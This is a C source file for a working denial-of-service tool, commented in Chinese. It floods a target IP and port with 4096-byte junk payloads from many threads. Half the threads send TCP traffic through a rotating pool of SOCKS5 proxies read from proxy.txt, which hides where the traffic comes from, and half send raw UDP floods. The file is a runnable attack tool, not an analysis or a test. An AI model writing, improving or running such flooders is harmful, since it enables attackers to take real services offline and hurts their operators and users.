#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>

#define PROXY_FILE "proxy.txt"
#define MAX_PROXY 3000
#define BIG_SIZE 4096

typedef struct {
    char ip[24];
    int port;
} Proxy;

Proxy proxies[MAX_PROXY];
int pcount = 0;
int ptr = 0;
pthread_mutex_t lock;

char targetIp[32];
int targetPort;

// 加载代理池
void loadProxy() {
    FILE *f = fopen(PROXY_FILE, "r");
    if(!f) return;
    char buf[64];
    while(fgets(buf, sizeof(buf), f)) {
        char *sp = strchr(buf, ':');
        if(!sp) continue;
        *sp = 0;
        strcpy(proxies[pcount].ip, buf);
        proxies[pcount].port = atoi(sp+1);
        pcount++;
    }
    fclose(f);
}

// 高速轮询代理
Proxy getProxy() {
    pthread_mutex_lock(&lock);
    int cur = (ptr++) % pcount;
    pthread_mutex_unlock(&lock);
    return proxies[cur];
}

// Socks5快速隧道
int s5Conn(Proxy p) {
    int s = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in px;
    px.sin_family = AF_INET;
    px.sin_port = htons(p.port);
    inet_pton(AF_INET, p.ip, &px.sin_addr);
    connect(s, (struct sockaddr*)&px, sizeof(px));

    unsigned char h1[] = {0x05,0x01,0x00};
    send(s, h1, 3, 0);
    unsigned char res[2];
    recv(s, res, 2, 0);

    unsigned char req[10] = {0x05,0x01,0x00,0x01};
    inet_pton(AF_INET, targetIp, req+4);
    *(unsigned short*)(req+8) = htons(targetPort);
    send(s, req, 10, 0);
    recv(s, res, 10, 0);
    return s;
}

// TCP暴力发包线程
void *tcpLoop(void *arg){
    (void)arg;
    char data[BIG_SIZE];
    memset(data, 0x55, sizeof(data));
    while(1){
        Proxy p = getProxy();
        int fd = s5Conn(p);
        if(fd > 0){
            send(fd, data, BIG_SIZE, 0);
            close(fd);
        }
    }
    return NULL;
}

// UDP原生洪水线程
void *udpLoop(void *arg){
    (void)arg;
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    struct sockaddr_in t;
    t.sin_family = AF_INET;
    t.sin_port = htons(targetPort);
    inet_pton(AF_INET, targetIp, &t.sin_addr);
    char data[BIG_SIZE];
    memset(data, 0x66, sizeof(data));
    while(1){
        sendto(s, data, BIG_SIZE, 0, (struct sockaddr*)&t, sizeof(t));
    }
    return NULL;
}

int main(int argc, char *argv[]) {
    if(argc < 5) {
        printf("用法: ./tcp 目标IP 端口 线程数 运行秒数\n");
        return 1;
    }
    pthread_mutex_init(&lock, NULL);
    loadProxy();
    if(pcount <= 0){
        printf("错误：proxy.txt 无有效S5代理\n");
        return 1;
    }

    strcpy(targetIp, argv[1]);
    targetPort = atoi(argv[2]);
    int th = atoi(argv[3]);
    int runTime = atoi(argv[4]);

    pthread_t t[th];
    // 一半TCP代理流量 + 一半UDP原生流量
    int half = th / 2;
    for(int i=0;i<half;i++){
        pthread_create(&t[i], NULL, tcpLoop, NULL);
    }
    for(int i=half;i<th;i++){
        pthread_create(&t[i], NULL, udpLoop, NULL);
    }

    sleep(runTime);
    system("killall -9 tcp >/dev/null 2>&1");
    return 0;
}
